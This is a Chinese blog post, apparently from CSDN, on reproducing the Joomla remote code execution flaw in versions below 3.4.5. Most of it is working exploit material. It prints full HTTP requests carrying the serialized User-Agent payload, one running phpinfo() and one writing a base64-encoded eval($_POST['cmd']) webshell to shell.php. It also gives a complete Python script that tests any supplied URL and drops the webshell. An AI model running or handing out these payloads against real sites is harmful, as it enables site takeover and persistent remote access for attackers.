Joomla反序列化通杀漏洞（版本低于3.4.5）复现的那些坑

摘要

这是最近流出来的一个漏洞，利用Joomla反序列化可以造成远程代码执行。关于该漏洞的分析可以参考一下链接：

这是最近流出来的一个漏洞，利用Joomla反序列化可以造成远程代码执行。关于该漏洞的分析可以参考一下链接：

      wooyun drops上的：http://drops.wooyun.org/papers/11330

      Freebuf上的：http://www.freebuf.com/vuls/89754.html

      360播报上的：http://bobao.360.cn/learning/detail/2501.html

      自定义生成Exp序列化的程序：http://sandbox.onlinephpfunctions.com/code/d7a86325f725cbe9e7a60ef696d65593f6abdc1f

      在这里，记录一下我自己复现漏洞时候遇到的坑。细节很重要呐，最后复现成功才发现问题所在。

      首先是关于phpinfo的代码执行，这个复现起来比较简单。Exp如下：

GET /joomla/ HTTP/1.1 Host: 192.168.145.130 User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"/0/0/0a";O:17:"JSimplepieFactory":0:{}s:21:"/0/0/0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:31:"phpinfo();JFactory::get();exit;";}i:1;s:4:"init";}}s:13:"/0/0/0connection";i:1;}~Ù Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Cache-Control: max-age=0 

 

      首先是发送带Exp的包，获取cookie:

 

 

 好了，关于代码执行的复现到此为止。

      我们接下来完成一句话的复现，在这里花了比较多的时间。我采用的是file_put_contents函数来写入一句话，这里特别强调一点，写入的地址是要使用路径绝对地址的，不然写入不成功。坑呀！

      关于Web服务器网站路径，可以在phpinfo执行的时候获取到，然后拼接出shell的地址即可。对要写入的内容可以用base64先编码，然后file_put_contents的时候解码即可。

      Exp的内容如下：

ET /joomla/ HTTP/1.1 Host: 192.168.145.130 User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"/0/0/0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:143:"file_put_contents('E://xampp//htdocs//Joomla//shell.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7ID8+'));;JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"/0/0/0connection";b:1;}𝌆 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Forwarded-For: 8.8.8.8 DNT: 1 Connection: keep-alive Cache-Control: max-age=0

   
    获取shell的流程和之前是一样的，先发送带Exp的包，然后包含获取的cookie的包，即可写入一句话了。    
    
          最后，修改了一个可以Getshell的利用脚本：    
    
     
#!/usr/bin/env python import requests import sys import time import re def rceJoomla(value):     now = time.strftime('%H:%M:%S',time.localtime(time.time()))     print "["+str(now)+"] [INFO] Checking Joomla 1.5 - 3.4.5 Remote Code Execution..."     if 'http://' in value or 'https://' in value:       url=value       checkJoomlaRCE(url) def checkJoomlaRCE(url):     url = url.strip()     reg = 'http
展开收缩
*://.*/$'     m = re.match(reg,url)     if not m:         url = url + "/"     poc = generate_payload("phpinfo();")     try:         result = get_url(url, poc)         if 'phpinfo()' in result:             system = getInfoByJoomlaRCE(result, 'System')             document_root = getInfoByJoomlaRCE(result, 'DOCUMENT_ROOT')             script_filename = getInfoByJoomlaRCE(result, 'SCRIPT_FILENAME')             shell_file = getShellByJoomlaRCE(url, system, script_filename)             vuls='[+]vuls found! url: '+url+'/n[+]System: '+system+'/n[+]document_root: '+document_root+'/n[+]script_filename: '+script_filename+'/n[+]shell_file: '+shell_file             print vuls         else:             print '[!] no vuls! url: '+url     except Exception,e:         print '[!] connection failed! url: '+url def get_url(url, user_agent):     headers = {     'User-Agent': user_agent     }     cookies = requests.get(url,headers=headers).cookies     for _ in range(3):         response = requests.get(url, timeout=10, headers=headers, cookies=cookies)     return response.content def generate_payload(php_payload):     php_payload = php_payload     terminate = '/xf0/x9d/x8c/x86'     exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"/0/0/0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''     injected_payload = "{};JFactory::getConfig();exit".format(php_payload)     exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)     exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"/0/0/0connection";b:1;}''' + terminate     # print exploit_template     return exploit_template def getInfoByJoomlaRCE(result, param):     if "System" in param:         reg = '.*<tr><td class="e">System </td><td class="v">([^<>]*?)</td></tr>.*'     elif "DOCUMENT_ROOT" in param:         reg = '.*<tr><td class="e">DOCUMENT_ROOT </td><td class="v">([^<>]*?)</td></tr>.*'     elif "SCRIPT_FILENAME" in param:         reg = '.*<tr><td class="e">SCRIPT_FILENAME </td><td class="v">([^<>]*?)</td></tr>.*'     match_url = re.search(reg,result)     if match_url:        info=match_url.group(1)     else:         info = 'no info!'     return info def getShellByJoomlaRCE(url, system, script_filename):     if 'no info' not in script_filename and 'no info' not in system:         if 'Windows' in system:             shell = script_filename.split('index.php')[0].replace('/','//').strip()+"shell.php"         else:             shell = script_filename.split('index.php')[0]+"shell.php"         cmd ="file_put_contents('"+shell+"',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7ID8+'));"         pl = generate_payload(cmd)         try:             get_url(url, pl)             return url+"shell.php"         except Exception, e:             return "no info!"     else:         return "no info!" def main():     rceJoomla(sys.argv[1]) if __name__ == '__main__':     main()
    
     来看下，在本地环境下的测试截图：（一句话名字：shell.php，密码：cmd）     
          

          
      http://blog.csdn.net/bnxf00000/article/details/50351086